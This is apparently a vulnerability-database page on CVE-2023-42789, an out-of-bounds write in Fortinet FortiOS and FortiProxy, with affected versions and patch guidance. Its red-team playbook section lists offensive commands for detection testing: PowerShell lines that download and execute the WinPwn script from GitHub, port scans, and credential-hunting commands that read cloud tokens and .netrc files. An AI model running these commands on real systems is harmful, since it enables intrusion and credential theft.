CVE-2023-42789
Overview
This vulnerability is an out-of-bounds write occurring within the HTTP request processing component of Fortinet FortiOS and FortiProxy. The root cause lies in improper bounds checking during the handling of specially crafted HTTP requests, which leads to memory corruption. Affected components include multiple versions of FortiOS and FortiProxy firmware handling HTTP protocol parsing.
Vulnerability Description
A out-of-bounds write in Fortinet FortiOS 7.4.0 through 7.4.1, 7.2.0 through 7.2.5, 7.0.0 through 7.0.12, 6.4.0 through 6.4.14, 6.2.0 through 6.2.15, FortiProxy 7.4.0, 7.2.0 through 7.2.6, 7.0.0 through 7.0.12, 2.0.0 through 2.0.13 allows attacker to execute unauthorized code or commands via specially crafted HTTP requests.
Impact
An unauthenticated remote attacker can exploit this vulnerability over the network without user interaction, due to the network attack vector (AV:N) and no privileges required (PR:N). Successful exploitation enables execution of arbitrary code or commands on the affected device, potentially leading to full system compromise. This can result in unauthorized control over network security infrastructure, data exfiltration, or disruption of services, as indicated by high confidentiality, integrity, and availability impact metrics (C:H/I:H/A:H).
Solution
Fortinet has released patches addressing this vulnerability in FortiOS versions 6.2.16 and later, 6.4.15 and later, 7.0.13 and later, 7.2.6 and later, and 7.4.2 and later, as well as FortiProxy versions 2.0.14 and later, 7.0.13 and later, 7.2.7 and later, and 7.4.1 and later. Detailed patch instructions and version-specific fixes are available in the Fortinet advisory FG-IR-23-328 at https://fortiguard.com/psirt/FG-IR-23-328. Users should apply the appropriate updates promptly to mitigate this issue.
EPSS vs KEV Prediction — Evolution (30 days)
Full Analysis
The vulnerability present in Fortinet's FortiOS and FortiProxy products is characterized by an out-of-bounds write condition, which occurs when the software improperly handles memory allocation during the processing of specially crafted HTTP requests. This flaw allows an attacker to write data outside the intended memory boundaries, potentially leading to arbitrary code execution. The affected versions span multiple releases of FortiOS and FortiProxy, indicating a widespread risk across various deployments. The severity of this vulnerability is underscored by its high CVSS score, reflecting the ease with which it can be exploited and the significant consequences that may ensue.
Exploitation of this vulnerability can occur through various attack vectors, primarily involving the manipulation of HTTP requests sent to the affected devices. An attacker could craft a malicious request that, when processed by the vulnerable software, triggers the out-of-bounds write condition. This could allow the attacker to inject and execute arbitrary code on the device, potentially gaining unauthorized access to sensitive data or control over the network infrastructure. Scenarios may include targeted attacks against enterprise environments, where an attacker could leverage this vulnerability to pivot deeper into the network, compromising additional systems and data.
The real-world impact of this vulnerability is substantial, particularly for organizations relying on Fortinet's products for their security posture. Successful exploitation could lead to unauthorized access to critical systems, data breaches, and disruption of services. The potential for an attacker to execute arbitrary commands raises significant business risks, including financial losses, reputational damage, and regulatory penalties. Organizations may face increased scrutiny from stakeholders and regulatory bodies, particularly if sensitive data is compromised. Additionally, the remediation efforts required to address such a breach could strain resources and divert attention from other critical security initiatives.
To detect and mitigate the risks associated with this vulnerability, organizations should implement a multi-faceted approach. Regularly updating FortiOS and FortiProxy to the latest patched versions is crucial, as vendors typically release updates to address known vulnerabilities. Employing intrusion detection and prevention systems can help identify and block malicious HTTP requests that attempt to exploit this flaw. Furthermore, organizations should conduct comprehensive security assessments and penetration testing to evaluate their defenses against potential exploitation. Training staff on security best practices and the importance of monitoring network traffic can also enhance overall resilience against such vulnerabilities.
In conclusion, the out-of-bounds write vulnerability in Fortinet's FortiOS and FortiProxy products represents a critical security risk that organizations must address promptly. The potential for arbitrary code execution through crafted HTTP requests poses significant threats to network integrity and data confidentiality. By understanding the technical details of the vulnerability, recognizing the exploitation scenarios, and implementing robust detection and mitigation strategies, organizations can better protect themselves against the associated risks and maintain a strong security posture in an increasingly complex threat landscape.
Affected Products (10)
| Vendor | Product | Version | CPE | |
|---|---|---|---|---|
|
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Fortinet | Fortiproxy | All |
cpe:2.3:a:fortinet:fortiproxy:*:*:*:*:*:*:*:*
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|
Fortinet | Fortiproxy | All |
cpe:2.3:a:fortinet:fortiproxy:*:*:*:*:*:*:*:*
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|
|
Fortinet | Fortiproxy | All |
cpe:2.3:a:fortinet:fortiproxy:*:*:*:*:*:*:*:*
|
|
|
Fortinet | Fortiproxy | 7.4.0 |
cpe:2.3:a:fortinet:fortiproxy:7.4.0:*:*:*:*:*:*:*
|
|
|
Fortinet | Fortios | All |
cpe:2.3:o:fortinet:fortios:*:*:*:*:*:*:*:*
|
|
|
Fortinet | Fortios | All |
cpe:2.3:o:fortinet:fortios:*:*:*:*:*:*:*:*
|
|
|
Fortinet | Fortios | All |
cpe:2.3:o:fortinet:fortios:*:*:*:*:*:*:*:*
|
|
|
Fortinet | Fortios | All |
cpe:2.3:o:fortinet:fortios:*:*:*:*:*:*:*:*
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|
|
Fortinet | Fortios | 7.4.0 |
cpe:2.3:o:fortinet:fortios:7.4.0:*:*:*:*:*:*:*
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|
|
Fortinet | Fortios | 7.4.1 |
cpe:2.3:o:fortinet:fortios:7.4.1:*:*:*:*:*:*:*
|
Disclaimer
The exploits, modules, and proof-of-concept (PoC) code listed in this section are automatically collected from public repositories, including GitHub, ExploitDB, and Metasploit Framework.
CSURFACE is not the author, maintainer, or responsible party for any of this code. The content may contain malicious code, backdoors, or undocumented behavior.
By accessing any external link or executing any referenced code, you assume full responsibility for the risks involved. We strongly recommend:
- Only execute in isolated environments (sandbox/VM)
- Review source code before any execution
- Do not use against systems without explicit authorization
- Comply with all applicable local laws and regulations
GitHub PoCs (1)
| Repository | Author | Stars | Forks | Date | Link |
|---|---|---|---|---|---|
|
jhonnybonny/CVE-2023-42789
Check CVE-2023-42789
|
jhonnybonny | 1 | 0 | 2024-03-28 | View |
Threat Feed
1 eventsProof-of-concept code is publicly available for this vulnerability
Likely Kill Chain
Typical exploitation path inferred from this vulnerability's characteristics — mapped to MITRE ATT&CK tactics.
Kill chain derived from the ML classifier.
Attack Vectors ML
MITRE ATT&CK Techniques (6)
The adversary's likely kill chain after exploiting this CVE — in execution order. Validate each stage with the Red Team Playbook below.
The techniques for this CVE don't apply to this operating system. Switch OS above.
CAPEC Attack Patterns
No CAPEC pattern mapped to this CVE.
Red Team Playbook
33 AtomicRedTeam test(s) mapped to this CVE's kill chain. Use them to validate detections and controls.
AtomicRedTeam has no published tests for this CVE's techniques on this OS. Switch OS above to see other options.
Set-PowerCLIConfiguration -InvalidCertificateAction Ignore -ParticipateInCEIP:$false -Confirm:$false
Connect-VIServer -Server #{vm_host} -User #{vm_user} -Password #{vm_pass}
Get-VMHostService -VMHost #{vm_host} | Where-Object {$_.Key -eq "TSM-SSH" } | Start-VMHostService -Confirm:$false
echo "" | "#{plink_file}" -batch "#{vm_host}" -ssh -l #{vm_user} -pw "#{vm_pass}" "vim-cmd hostsvc/enable_ssh"
docker build -t t1046 $PathToAtomicsFolder/T1046/src/
docker run --name t1046_container --rm -d -t t1046
docker exec t1046_container /scan.sh
for port in {1..65535}; do (2>/dev/null echo >/dev/tcp/#{host}/$port) && echo port $port is open ; done
nmap #{host_to_scan}
sudo nmap -sS #{network_range} -p #{port}
telnet #{host} #{port}
nc -nv #{host} #{port}
nmap -Pn -sV -p #{port_range} #{host}
python "#{filename}" -i #{host_ip}
$ipAddr = "#{ip_address}"
if ($ipAddr -like "*,*") {
$ip_list = $ipAddr -split ","
$ip_list = $ip_list.ForEach({ $_.Trim() })
Write-Host "[i] IP Address List: $ip_list"
$ports = #{port_list}
foreach ($ip in $ip_list) {
foreach ($port in $ports) {
Write-Host "[i] Establishing connection to: $ip : $port"
try {
$tcp = New-Object Net.Sockets.TcpClient
$tcp.ConnectAsync($ip, $port).Wait(#{timeout_ms}) | Out-Null
} catch {}
if ($tcp.Connected) {
$tcp.Close()
Write-Host "Port $port is open on $ip"
}
}
}
} elseif ($ipAddr -notlike "*,*") {
if ($ipAddr -eq "") {
# Assumes the "primary" interface is shown at the top
$interface = Get-NetIPInterface -AddressFamily IPv4 -ConnectionState Connected | Select-Object -ExpandProperty InterfaceAlias -First 1
Write-Host "[i] Using Interface $interface"
$ipAddr = Get-NetIPAddress -AddressFamily IPv4 -InterfaceAlias $interface | Select-Object -ExpandProperty IPAddress
}
Write-Host "[i] Base IP-Address for Subnet: $ipAddr"
$subnetSubstring = $ipAddr.Substring(0, $ipAddr.LastIndexOf('.') + 1)
# Always assumes /24 subnet
Write-Host "[i] Assuming /24 subnet. scanning $subnetSubstring'1' to $subnetSubstring'254'"
$ports = #{port_list}
$subnetIPs = 1..254 | ForEach-Object { "$subnetSubstring$_" }
foreach ($ip in $subnetIPs) {
foreach ($port in $ports) {
try {
$tcp = New-Object Net.Sockets.TcpClient
$tcp.ConnectAsync($ip, $port).Wait(#{timeout_ms}) | Out-Null
} catch {}
if ($tcp.Connected) {
$tcp.Close()
Write-Host "Port $port is open on $ip"
}
}
}
} else {
Write-Host "[Error] Invalid Inputs"
exit 1
}
Get-Service -Name "Remote Desktop Services", "Remote Desktop Configuration"
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
MS17-10 -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
bluekeep -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
fruit -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
spoolvulnscan -noninteractive -consoleoutput
Start-Process -FilePath "#{autoit_path}" -ArgumentList "#{script_path}"
echo "Creating %systemroot%\wpbbin.exe"
New-Item -ItemType File -Path "$env:SystemRoot\System32\wpbbin.exe"
type C:\Windows\Panther\unattend.xml
type C:\Windows\Panther\Unattend\unattend.xml
python2 laZagne.py all
grep -ri password #{file_path}
exit 0
findstr /si pass *.xml *.doc *.txt *.xls
ls -R | select-string -ErrorAction SilentlyContinue -Pattern password
find #{file_path}/.aws -name "credentials" -type f 2>/dev/null
find #{file_path}/.azure -name "msal_token_cache.json" -o -name "accessTokens.json" -type f 2>/dev/null
find #{file_path}/.config/gcloud -name "credentials.db" -o -name "access_tokens.db" -type f 2>/dev/null
find #{file_path}/.oci/sessions -name "token" -type f 2>/dev/null
for file in $(find #{file_path} -type f -name .netrc 2> /dev/null);do echo $file ; cat $file ; done
dir /a:h C:\Users\%USERNAME%\AppData\Local\Microsoft\Credentials\
dir /a:h C:\Users\%USERNAME%\AppData\Roaming\Microsoft\Credentials\
$usernameinfo = (Get-ChildItem Env:USERNAME).Value
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Roaming\Microsoft\Credentials\
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Local\Microsoft\Credentials\
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
SharpCloud -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sessionGopher -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
Snaffler -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
passhunt -local $true -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
powershellsensitive -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sensitivefiles -noninteractive -consoleoutput
Detection & Response Rules
No detection or response rules found for this CVE.
No news articles found for this CVE.
References (2)
| Title | Tags | URL |
|---|---|---|
| nvd.nist.gov |
NVD
reference
|
https://nvd.nist.gov/vuln/detail/CVE-2023-42789 |
| fortiguard.com |
GitHub CVE
|
https://fortiguard.com/psirt/FG-IR-23-328 |